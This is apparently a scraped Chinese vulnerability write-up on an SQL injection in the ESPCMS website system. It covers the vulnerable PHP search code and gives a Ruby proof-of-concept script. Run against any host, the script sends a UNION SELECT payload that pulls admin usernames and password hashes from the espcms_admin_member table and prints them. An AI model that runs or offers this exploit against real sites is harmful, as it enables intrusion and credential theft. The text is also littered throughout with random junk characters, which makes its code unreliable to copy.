0×0 漏洞概述0×1 漏洞细节8 a- |* ]/ `$ J8 o( x( f
0×2 PoC) x$ F* ?8 u0 M* v" I8 ?
, H# s& `, A% J* \# I
, b, I! C# _) b8 O1 O" c
0 s* z3 C( I$ Q8 N1 k0 k4 R
0×0 漏洞概述9 N; d% e' D) p% N5 k! u
- H& t E' N' M8 I易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。9 N6 o" d& m" e9 F! ^! L
其在处理传入的参数时考虑不严谨导致SQL注入发生, t5 ^% `8 |7 L3 v6 \5 e
' B2 G x! T& g+ K
' E4 I, c5 |( k- t& P0×1 漏洞细节8 U, X# N' b5 U
5 w6 a! f' f4 M: F. ~+ P; u
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。! M* e+ \3 f n8 R
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
9 T, i4 B- \0 D- |而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。0 e8 s% q& \6 j t9 l0 i5 N
. t$ d- V! O% f" X: S4 o- E
在/interface/3gwap_search.php文件的in_result函数中:' j6 o; i# B" j4 N
" B$ j0 O* q, |0 D6 o) Z( }. B0 u: R3 {/ }9 Q+ E/ Q
* Q& r% }3 G3 V5 W) P function in_result() {
) M+ r8 G$ c9 V. X$ R0 L ... ... ... ... ... ... ... ... ...: B4 d; u- O0 k6 }3 M4 t
$urlcode = $_SERVER[ 'QUERY_STRING '];6 A! r0 r, w3 u- E4 Q' R$ V
parse_str(html_entity_decode($urlcode), $output);9 g- I& x% U2 q, J. X
4 b7 C8 A3 I u$ v1 B. { ... ... ... ... ... ... ... ... ...* M/ I* V X3 w% O0 [; Q
if (is_array($output['attr' ]) && count($output['attr']) > 0) {2 A( x& w0 Z6 c5 Q
( z L& @7 m" d! H/ x: S $db_table = db_prefix . 'model_att';
1 M; ?) ~! m o- |( K, h/ l) q5 W" y# p- M2 v# ?6 f* k
foreach ($output['attr' ] as $key => $value) {+ l6 F/ M: g* N( o; N3 b
if ($value) {* \( W; A+ p4 }* \
' r% e: x/ U. m5 ?2 t" R2 Z3 @
$key = addslashes($key);4 u( L2 Q6 _* h
$key = $this-> fun->inputcodetrim($key);
) R, [. u. S, ]1 f1 G L* U9 ` S $db_att_where = " WHERE isclass=1 AND attrname='$key'";. Y# ?2 ^( s. T4 x1 T% H
$countnum = $this->db_numrows($db_table, $db_att_where);# s0 n% S$ b: v
if ($countnum > 0) {
: N/ q* k- t5 b# K$ C. a $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;* ^' |. ?: ?4 E
}
2 d" B$ _6 \! E( B }5 v. S5 i& ]6 x
}
; |! K. v7 [0 C1 ^ }
5 W$ J1 L/ N8 L if (!empty ($keyword) && empty($keyname)) {" B) ~4 k. o/ r2 E& P
$keyname = 'title';8 H2 U+ v( t# s x, ^
$db_where.= " AND a.title like '%$keyword%'" ;) e! j& l+ l$ w. d$ ^. P
} elseif (!empty ($keyword) && !empty($keyname)) {
0 O& x0 {" Q2 E+ Y/ H% V: W+ S/ \ $db_where.= " AND $keyname like '% $keyword%'";3 x2 s3 {5 e4 D- H$ R
}7 \) _ ?5 c$ u9 f* T5 A
$pagemax = 15;
) k* o! B2 m% {6 R% _3 V% B5 x! ^ A2 a+ u2 u |
$pagesylte = 1;
[) }1 n: K5 |$ r; k* y% c; I$ J8 K _- o
if ($countnum > 0) {
, z2 B# r3 G% t! C2 P3 e! A3 }8 p. H/ f
$numpage = ceil($countnum / $pagemax);
# J! T3 H7 j9 @: ]% y0 P } else {- Z3 y+ x' g3 y* v+ w) U
$numpage = 1;0 \/ o `( O& K% S, Q4 f
}
5 `5 `" S* o. C% k $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;& f, v9 n# K+ k
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
' S" f0 R! i1 k- M$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
' p( G" K9 D5 J8 M; ? ... ... ... ... ... ... ... ... ...
' B3 Z5 |# Y) v$ S$ ]9 W b }) _. G! @- ~, G$ X
! b3 F/ `5 K( R1 I5 K* {
. H) h. F5 x( i5 X0×2 PoC" g* ~, Y( M% l- u# d! Z
( M+ W. A6 Z" y9 \+ ]# ^+ s& Q8 Y$ C6 N1 x6 t- R$ l0 I
8 x# l. `: F& M: v3 M w
require "net/http"
% U6 p7 Y2 f4 ]. _2 R
# S3 o5 I/ U8 mdef request(method, url), V" {+ K0 M' u( e% \7 ^
if method.eql?("get")7 J" l! A( a4 {
uri = URI.parse(url)7 I. O, W, V- k
http = Net::HTTP.new(uri.host, uri.port)+ F2 K2 H. S2 e
response = http.request(Net::HTTP::Get.new(uri.request_uri))
+ n1 r" D! D# B6 _+ B$ ~+ | return response
2 I8 O# x" S# K end
& c: E1 Z! f: N. ?3 fend
0 O% t! Q# [; y& q, a& N3 f9 d! R7 J
doc =<<HERE
) }: Q0 l* r+ z-------------------------------------------------------* \4 J) X! M5 P, F4 B' f
Espcms Injection Exploit# I+ H: ]9 t) X0 V
Author:ztz
" @2 r: b. u8 D2 HBlog:http://ztz.fuzzexp.org/, k5 L6 m# T. Q4 j
-------------------------------------------------------4 H" k* v: h. ?) ~7 ]
/ x; ?( S w& p% Q' q& o
HERE* _# B# g& k: v8 E
5 _8 n" `) ?* k! Y0 n
usage =<<HERE, `. d5 h0 F& K; w7 x7 ^8 D
Usage: ruby #{$0} host port path* z+ o" z' `8 b9 h% h w) [) G* [+ I
example: ruby #{$0} www.target.com 80 /
/ V2 o* N( l$ ]8 p# x |; P8 `! I% Z' MHERE
2 o/ A3 \& b I
' p& K4 j) |) z8 vputs doc+ a, v# `( ^" V f k
if ARGV.length < 3
$ S3 y2 Y ]; _/ f5 `' n" q puts usage1 B. c; v w8 n; F, Q6 O( G
else
1 x( z8 ?& q* {5 A) s* T $host = ARGV[0]
% S+ u" M6 ^1 d $port = ARGV[1]! U+ h( v; q4 j+ V( z
$path = ARGV[2]
8 l$ i* x4 `7 E4 d) T. @& {% o+ \) N
puts "send request..."
- i j$ `/ d. ~8 ~4 D url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&- C- a4 E7 j& C; f( |4 @; [$ k4 f
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,139 e' n! k1 r/ i
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27) n' ?/ D! E/ c- w! \; R
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
& L! b' i7 O& ?! t response = request("get", url)
4 v- F- ]4 r; i- |, r result = response.body.scan(/\w+&\w{32}/)
/ x! G v' L% b- {- `. K puts result
" E$ ]% T) e5 t( h/ L- y, cend6 I7 c/ ]0 s) K9 X/ K6 f: p) F
& z% l" g) ]: m5 k/ V% F |